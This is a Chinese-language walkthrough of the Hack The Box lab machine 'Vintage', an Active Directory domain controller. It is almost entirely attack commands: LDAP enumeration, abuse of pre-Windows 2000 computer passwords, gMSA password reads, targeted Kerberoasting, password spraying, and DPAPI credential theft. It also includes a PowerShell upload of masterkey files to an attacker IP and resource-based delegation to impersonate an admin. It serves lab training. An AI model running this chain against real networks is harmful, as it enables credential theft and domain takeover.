HTB-H-Vintage
HTB-Vintage
这个room讲的是一个DPAPI的凭证泄露+基于资源的约束委派+readgMSAPasswrod造成的密码泄露+
是个windows电脑,提前给了账户
- P.Rosa / Rosaisbest123
然后扫描一遍,判断是个域控
smb连接进行一下尝试
- smbclient -U ‘vintage.htb/P.Rosa%Rosaisbest123’ -L //DC01.vintage.htb
- 报错,session setup failed: NT_STATUS_NOT_SUPPORTED
- 然后查看一下日志↓
- smbclient -U ‘vintage.htb/P.Rosa%Rosaisbest123’ -L //DC01.vintage.htb –debug-stdout -d 10
- 是刚开始Kerberos验证没通过,ntlm验证应该是不支持
用nxc指定-k Kerberos验证可以
- nxc smb DC01.vintage.htb -d vintage.htb -u ‘P.Rosa’ -p ‘Rosaisbest123’ -k
- nxc smb DC01.vintage.htb -d vintage.htb -u ‘P.Rosa’ -p ‘Rosaisbest123’ -k –shares
用kali模拟域用户
参考
下载
- apt install -y heimdal-clients libsasl2-modules-gssapi-heimdal
- vim ./custom_krb5.conf
1 | [libdefaults] |
- export KRB5_CONFIG=”$PWD/custom_krb5.conf”
- kinit P.Rosa
- klist
- export KRB5CCNAME=/tmp/krb5cc_0
然后开始信息收集
- ldapsearch -Q -Y GSSAPI -H ldap://dc01.vintage.htb -b ‘DC=VINTAGE,DC=HTB’ ‘(objectClass=user)’ | grep -i samaccountname
- 列举用户
- ldapsearch -Q -Y GSSAPI -H ldap://dc01.vintage.htb -b ‘DC=VINTAGE,DC=HTB’ ‘(objectClass=computer)’ | grep -i samaccountname
- 列举计算机
- ldapsearch -Q -Y GSSAPI -H ldap://dc01.vintage.htb -b ‘DC=VINTAGE,DC=HTB’ ‘(objectClass=group)’ | grep -i samaccountname
- 在
dc01.vintage.htb
域控制器上查询所有组,并从查询结果中提取包含samaccountname
字段的信息
- 在
- vim groups.txt
- 然后把上遍的组写进去
- while read group ; do echo -e “${group}\n” ; ldapsearch -Q -Y GSSAPI -H ldap://dc01.vintage.htb -b ‘DC=VINTAGE,DC=HTB’ “(sAMAccountName=${group})” | grep ‘member: ‘ ; echo ‘’ ; done < groups.txt
- 读取每个组来获取组成员
- nxc ldap DC01.vintage.htb -d ‘vintage.htb’ -u ‘P.Rosa’ -p ‘Rosaisbest123’ -k -M get-network -o ALL=true
- 获取dns记录
- nxc smb DC01.vintage.htb -d vintage.htb -u ‘P.Rosa’ -p ‘Rosaisbest123’ -k –pass-pol
- 密码组策略
PRE-WINDOWS 2000 COMPATIBLE ACCESS
1 | 如果一个计算机账户在 PRE-WINDOWS 2000 COMPATIBLE ACCESS 组中,这意味着计算机凭证通常是 DOMAIN.TLD\COMPUTER_NAME$:computer_name ,所以密码是计算机名的的小写形式。 |
获取第二个票据
利用
pipx install git+https://github.com/garrettfoster13/pre2k
- 这个工具自动发现具有
PRE-WINDOWS 2000
凭证的计算机
- 这个工具自动发现具有
pre2k unauth -d ‘vintage.htb’ -dc-ip ‘10.10.11.45’ -inputfile computers.txt -save
- 环境放在myenv了,他会导出一个tgt
我们现在有一个有效的 TGT 用于* FS01$
计算机账户
获取第三个票据
readgmsapasswrod权限
获取
在analyse的shortest paths上可以看到,这个domain computers有readgmsapasswrod权限
然后通过这个权限获取gMSA01的票据
apt install -y bloodyad
KRB5CCNAME=’FS01$.ccache’ bloodyAD –host DC01.vintage.htb -k -d vintage.htb get object ‘GMSA01$’ –attr msDS-ManagedPassword
impacket-getTGT -dc-ip 10.10.11.45 -hashes :0ae29a5cdfa7d5b72464dc92ffeaa8d1 ‘vintage.htb/gMSA01$‘@DC01.vintage.htb
- 生成票据
mv ‘gMSA01$@DC01.vintage.htb.ccache’ gMSA01.ccache
chmod 600 gMSA01.ccache
klist
和其他 Heimdal 二进制程序不会读取权限过于开放的票证
flag1+获取第4个票据
SERVICEMANAGERS组用户
获取一下源码targetedKerberoast.py
1 | 91 if TGT is None: |
- KRB5CCNAME=gMSA01.ccache python3 targetedKerberoast/targetedKerberoast.py -k –no-pass -d vintage.htb –dc-host DC01.vintage.htb –dc-ip 10.10.11.45
- 查看hash
- KRB5CCNAME=gMSA01.ccache ldapsearch -Q -Y GSSAPI -H ldap://dc01.vintage.htb -b “OU=Pre-Migration,DC=vintage,DC=htb” “(CN=svc_ldap)” userAccountControl
- 查看其他账户的uac
- 卡太久就重新生成一个票据
- 但是没出sql的hash
- ↓因为在node那也能看到区别,有个enable-false,未启用的账户
- 使用与其它
sql_
账户相同的 UAC 值启用sql_svc
1 | KRB5CCNAME=gMSA01.ccache ldapmodify -Q -Y GSSAPI -H ldap://dc01.vintage.htb << EOF |
获取hash之后john一下,
然后可以发现有个密码重用()
1 | nxc ldap DC01.vintage.htb -d 'vintage.htb' -u ad_users.txt -p 'Zer0the0ne' --continue-on-success -k |
然后就登录,凭证换一下
- export KRB5_CONFIG=”$PWD/custom_krb5.conf”
- kinit C.Neri
- Zer0the0ne
- klist
- export KRB5CCNAME=/tmp/krb5cc_0
- evil-winrm -i DC01.vintage.htb -r vintage.htb -u ‘C.Neri’
获得flag1+C.NERI账户
DPAPI+获取第5个票据
前提
用户可能在以 C.Neri_adm
身份登录时执行了一些管理任务,因此在该机器上可能会有一些缓存的凭证
基础知识
应用程序调用 CryptProtectData()
来加密某些内容时:
1/DPAPI 为该项目生成一个随机密钥,称为会话密钥。会话密钥用于加密数据(密码等)。
2/ 该会话密钥随后使用用户的密钥加密。密钥是从用户的登录凭证或计算机账户的随机密码派生的。
3/ 最终输出包含加密的数据和加密的会话密钥。
操作
传文件参考
内容参考
列出转储凭证
1 | ls -r -h ~\AppData\Local\Microsoft\Credentials\ | select -expand fullname |
列出转储的密钥
1 | ls -r -h ~\AppData\Roaming\Microsoft\Protect\ | select -expand fullname |
然后传文件这4个文件
1 | [void](New-Object System.Net.WebClient).UploadFile('http://10.10.16.7/', "C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115\99cf41a3-a552-4cf7-a8d7-aca2d6f7339b") |
或者
1 | [Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\users\c.neri\appdata\roaming\microsoft\credentials\C4BB96844A5C9DD45D5B6A9859252BA6")) |
解密一下,获得转储密钥的key
1 | impacket-dpapi masterkey -file 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b -sid S-1-5-21-4024337825-2033394866-2055507597-1115 -password 'Zer0the0ne' |
然后利用转储密钥的key去解密转储凭证
1 | impacket-dpapi credential -file C4BB96844A5C9DD45D5B6A9859252BA6 -key 0xf8901b2125dd10209da9f66562df2e68e89a48cd0278b48a37f510df01418e68b283c61707f3935662443d81c0d352f1bc8055523bf65b2d763191ecd44e525a |
- 在这里我传输过程中文件有损坏,换成base64就行
- Uncr4ck4bl3P4ssW0rd0312
现在是获取到了 C.NERI_ADM 账户的密码
基于资源的约束委派
设置委派对象属性(如
msDS-AllowedToDelegateTo
)之后,生效时间通常也是 0~15 分钟。设置spn账户,单域是30秒以内,多域0-15分钟
unset KRB5CCNAME
kdestroy
export KRB5_CONFIG=”$PWD/custom_krb5.conf”
kinit C.Neri_adm
klist
export KRB5CCNAME=/tmp/krb5cc_0
先生成俩要用的票据
1 | impacket-getTGT -dc-ip 10.129.119.165 'vintage.htb/C.Neri@DC01.vintage.htb' |
改svc_ldap的密码
1 | KRB5CCNAME=C.Neri@DC01.vintage.htb.ccache net rpc user password svc_ldap --use-kerberos=required -S DC01.vintage.htb |
加到约束委派的组里
- bloodyAD –host dc01.vintage.htb -d ‘vintage.htb’ -k add groupMember “DELEGATEDADMINS” “svc_sql”
创建spn
1 | KRB5CCNAME=C.Neri@DC01.vintage.htb.ccache ldapmodify -Q -Y GSSAPI -H ldap://dc01.vintage.htb << EOF |
生成svc票据
- impacket-getTGT -dc-ip 10.10.11.45 ‘vintage.htb/svc_ldap‘@DC01.vintage.htb
最后生成模拟的票据
- KRB5CCNAME=svc_ldap@DC01.vintage.htb.ccache impacket-getST -k -no-pass -spn ‘HTTP/DC01.vintage.htb’ -impersonate ‘L.Bianchi_adm’ -dc-ip 10.10.11.45 ‘vintage.htb/svc_ldap‘@DC01.vintage.htb
用票据登录,验证
1 | KRB5CCNAME=L.Bianchi_adm@HTTP_DC01.vintage.htb@VINTAGE.HTB.ccache evil-winrm -i DC01.vintage.htb -r vintage.htb |